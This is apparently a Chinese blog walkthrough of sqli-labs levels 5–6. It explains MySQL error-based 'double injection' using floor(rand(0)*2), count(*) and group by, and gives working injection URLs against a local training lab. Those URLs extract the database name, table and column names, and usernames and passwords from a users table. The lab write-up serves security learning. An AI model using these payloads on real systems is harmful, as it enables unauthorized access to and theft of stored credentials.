sqli5-6

第五关 Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

1.实验了一下前面几关方法,发现界面正确显示you are in 错误什么都不显示

sqli5-6

2.判断注入类型,我们通过在1后面加' --+ 而界面没报错,可以判断出应该是单引号字符型注入

sqli5-6

 3.要使用的报错注入方法

  报错注入方法有十多种,详细介绍可以去看:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

4.floor型报错注入(floor报错方法要用到count(*),group by ,rand()三者缺一不可)

  1.函数的介绍

  floor():向下取整

  sqli5-6

 

   rand():生成0~1的随机数,如果是rand()*2则生成0~2的随机数,还可以和floor联合起来用

  sqli5-6

 

    concat():将符合条件的同一列中的不同行数据进行拼接,0x7e是"~"的16进制

  sqli5-6

 

   count(*)一般与group by联合起来用:count用来统计,group by用来依据我们想要的规矩对结果进行分组

  sqli5-6

 

   2.使其报错

  先使用order by 判断字段,一共三个字段,因为输入4报错

  sqli5-6

  使用下面的句子有两种情况一种是爆出数据库,一种是正常

  ../Less-5/?id=-1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand()*2))x from information_schema.tables group by x --+

  sqli5-6

  sqli5-6

  上面的写法是随机性的,而我们下面这种写法是一定会报错,在rand里面加个0

   ../Less-5/?id=-1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+

  sqli5-6

 

  3.为什么会报错了,为什么要这样写了,我们要先了解几个原理

  rand()和rand(0)区别:rand里面加个0,0表示随机因子,也就是不管你怎么输rand(0)结果都是一样的。

  为什么使用rand()报错是随机,而rand(0)一定会报错了,是不是说明报错语句有了floor(rand(0)*2)以及其他条件就一定报错,我们来实验一下。

  sqli5-6

   sqli5-6

  sqli5-6

  由此证明floor(rand(0)*2)的报错是有条件的,记录数必须大于等于3条,3条以上必定报错

  我们可以总结一下:floor(rand()*2):二条记录随机出错,floor(rand(0)*2):三条记录以上一定报错

 

  我们再给zqy表多插入几条数据,在观察一下floor(rand()*2):从下图可以看出二次结果全不相同,没有一点规律

  sqli5-6

 

  在观察一下floor(rand(0)*2) :二次结果一模一样,而且都是有规律的

  sqli5-6

 

  了解了floor(rand(0)*2) 有规律后我们再来了解一下count与group by的虚拟表

  sqli5-6

 

  可以看出test3的记录有6条,与count(*)的结果相符合,如果mysql遇到了select count(*) from zqy group by name;这种语句,会先建立一个虚拟表:

  sqli5-6

  当开始查询数据时,从数据库中取出数据,看在虚拟表中是否有同样的记录,如果有,就在count(*)字段+1,如果没有就直接插入新记录:

  sqli5-6

 

   floor(rand(0)*2)爆错原理

  其实官方mysql给过提示,就是查询如果使用rand()的话,该值会被计算多次,也就是在使用group by 的时候,floor(rand(0)*2)会被执行一次,如果虚拟表中不存在记录,把数据插入虚拟表中时会再被执行一次。在上述描述中我们发现floor(rand(0)*2)的值具有确定性,为01101100111011,报错实际上是因为虚拟表中主键key被重复使用所导致,具体看一下select count(*) from zqy group by floor(rand(0)*2);

  sqli5-6

 

   flood(rand()*2)爆错原理

  由上述我们发现flood(rand()*2),具有随机性

  sqli5-6

  最重要的是前面几条记录查询后不能让虚拟表存在0,1键值,如果存在了,那无论多少条记录都无法报错,应为floor(rand()*2)不会再被计算作为虚拟表的键值,这也就是为什么不加随机因子的时候会报错,有时候不报错:

  sqli5-6

   4.根据第三点我们简单的了解报错的原理,下面我们开始注出数据

  先来注出数据库下表,我们可以利用limit来控制输出第几行数据,limit函数第一个参数表示起始位置,第二个参数表示偏移量

  http://127.0.0.1/sqli-labs/sqli-labs-master/Less-5/?id=-1' union select 1,count(*),3 from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e,floor(rand(0)*2)) --+

  sqli5-6

 

  利用爆出来的表爆出表字段:通过下面的句子我们爆出users表下的字段名有id,username,password

  http://127.0.0.1/sqli-labs/sqli-labs-master/Less-5/?id=-1' union select 1,count(*),3 from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e,floor(rand(0)*2)) --+

   sqli5-6

 

  利用爆出来的表,字段,爆出数据,利用limit位移我们还可以爆出其他用户名账号

  http://127.0.0.1/sqli-labs/sqli-labs-master/Less-5/?id=-1' union select 1,count(*),3 from information_schema.tables group by concat(0x7e,(select concat(':',id,username,password) from users limit 0,1),0x7e,floor(rand(0)*2)) --+

  sqli5-6

 

第六关 Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

   sqli5-6

 

总结一下:写这一篇博客我大概写了3个多小时,查资料,看视频,然后把它们的内容经过自己的理解,写成了这篇博客,可能写的思路不是很清晰,内容很杂很混乱,但我真的尽力了。不管怎样,要是有什么地方讲错了的或者没注意到的地方欢迎大佬们斧正!

这是我借鉴的博客地址:https://www.cnblogs.com/bmjoker/p/8797027.html

这是我借鉴的视频地址:https://www.bilibili.com/video/BV124411c7h3?from=search&seid=13565982829788682418

 

   

 

 

 

 

 

 

 

 

 

 

 

 

  

 

上一篇:Java Number & Math 类


下一篇:PHP floor() 函数